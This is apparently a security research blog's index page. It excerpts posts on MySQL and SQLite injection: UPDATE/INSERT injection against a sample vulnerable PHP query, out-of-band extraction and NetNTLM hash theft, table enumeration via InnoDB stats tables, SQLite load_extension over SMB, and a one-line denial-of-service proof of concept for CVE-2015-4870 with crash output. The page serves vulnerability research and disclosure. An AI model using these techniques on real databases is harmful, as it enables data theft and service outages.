MySQL Injection in Update, Insert and Delete

Overview

The traditional in-band method in INSERT, UPDATE injections would be by fixing the query. For example in INSERT statements one can simply fix the query, comment out the rest and extract the data once it is echoed out by the application. Same goes with the UPDATE statement, but only if the query has more than one column we can fix the query. What if we face a situation where UPDATE or INSERT has one column or simply we don’t know the exact query to fix? What if mysql_error() is not echoed out?
Let’s look at the following scenario. For simplicity’s sake let’s not make things complex. The updated username is also echoed back to us. How can we inject in this scenario?

$query = "UPDATE users SET username = '$username' WHERE id = '$id';";

The parameters are as follows for the update query.

username=test&id=16 

Recently I was researching on different in-band and out-of-band techniques we can apply in these situations.
To understand my technique let’s look at how MySQL handles strings. Basically a string is equal to ‘0’ in MySQL. Let me prove it.

mysql> select 'osanda' = 0;
+--------------+
| 'osanda' = 0 |
+--------------+
|            1 |
+--------------+

mysql> select !'osanda';
+-----------+
| !'osanda' |
+-----------+
|         1 |
+-----------+

What if we add digits to a string? It would be same as adding a value to 0.

mysql> select 'osanda'+123;
+--------------+
| 'osanda'+123 |
+--------------+
|          123 |
+--------------+

Continue reading

Advertisements

MySQL Out-of-Band Hacking

Overview

Out-of-band injections are very well researched when it comes to MSSQL and Oracle. But in MySQL I noticed that this topic is not well researched. I thought of researching about this topic based on my experiences in SQL injections. For this purpose we can take advantage of functions such as load_file() and select … into outfile/dumpfile. Apart from that we can also steal NetNTLM hashes and perform SMB relay attacks. All this is possible only in MySQL under Windows.

What is Out-of-Band Injection?

These attacks involve in alternative channels to extract data from the server. It might be HTTP(S) requests, DNS resolutions, file systems, E-mails, etc depending on the functionality of the back-end technology.

Limitations in MySQL

In MySQL there exists a global system variable known as ‘secure_file_priv’. This variable is used to limit the effect of data import and export operations, such as those performed by the LOAD DATA and SELECT … INTO OUTFILE statements and the LOAD_FILE() function.

  • If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist, the server will not create it.
  • If the variable is empty it has no effect, thus insecure configuration.
  • If set to NULL, the server disables import and export operations. This value is permitted as of MySQL 5.5.53

Before MySQL 5.5.53 this variable is empty by default, hence allowing us to use these functions. But in the versions after 5.5.53 the value ‘NULL’ will disable these functions.
To check the value of this variable you can use any of these methods. The ‘secure_file_priv’ is a global variable and it’s a read only variable, which means you cannot change this during runtime.

select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv"; 

Continue reading

Alternative for Information_Schema.Tables in MySQL

Overview

Starting from MySQL 5.5 and above the default storage engine was known as the InnoDB. In MySQL versions 5.5 and above if you do a “select @@innodb_version” you can see the version of the InnoDB, which is almost same as your MySQL version.
innodb-version

But in MySQL 5.6 and above I noticed 2 new tables by InnoDB. “innodb_index_stats” and “innodb_table_stats”. Both these tables contains the database and table names of all the newly created databases and tables.
The MySQL documentation explains these two tables as follows.

The persistent statistics feature relies on the internally managed tables in the mysql database, named innodb_table_stats and innodb_index_stats. These tables are set up automatically in all install, upgrade, and build-from-source procedures.

For injection purposes let’s take the “innodb_table_stats” table. Unfortunately InnoDB doesn’t store columns.

If you simply do “show tables in mysql” you can view this from your localhost.
Continue reading

Fun with SQLite Load_Extension

What is load_extension?

This interface loads an SQLite extension library from the named file.

int sqlite3_load_extension(
sqlite3 *db, /* Load the extension into this database connection */
const char *zFile, /* Name of the shared library containing extension */
const char *zProc, /* Entry point. Derived from zFile if 0 */
char **pzErrMsg /* Put error message here if not 0 */
);

More information: https://www.sqlite.org/c3ref/load_extension.html
You can use this function to load a SQLite extension. However by default sqlite3_enable_load_extension() is turned off by default to prevent this in SQL injection attacks. You can read more from here https://www.sqlite.org/c3ref/enable_load_extension.html
The syntax would be

select load_extension(‘path\dll’, ‘EP’);

However this path, const char *zFile can be a SMB share too.
Continue reading

Storing a EXE inside MySQL

It’s possible to store a EXE file inside a MySQL database. You can try this out. For demonstration purposes I’m running MySQL in my localhost. I will be creating a simple database and a table big enough to store the exe file. Since we convert the exe to a hex file the content would be larger than the original exe file. I will be using ‘putty.exe’ as the binary.

CREATE DATABASE testupload;

USE testupload

CREATE TABLE uploads (
 id INT(3) NOT NULL AUTO_INCREMENT,
 name VARCHAR(1000000) NOT NULL,
 PRIMARY KEY (id)
 );

Continue reading

MySQL DoS in the Procedure Analyse Function – CVE-2015-4870

This is a crash I found in MySQL versions up to 5.5.45. In the function procedure analyse() I found this crash while passing a sub query.

Syntax:

 
SELECT * FROM `table_name` PROCEDURE ANALYSE((SELECT*FROM(SELECT 1)x),1);

So an Example POC would be:

 
select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
 
---------------------------------------------------------------------------------------------------------------
mysql> select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql>
mysql> select 1;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061)
ERROR:
Can't connect to the server

mysql>
---------------------------------------------------------------------------------------------------------------


Continue reading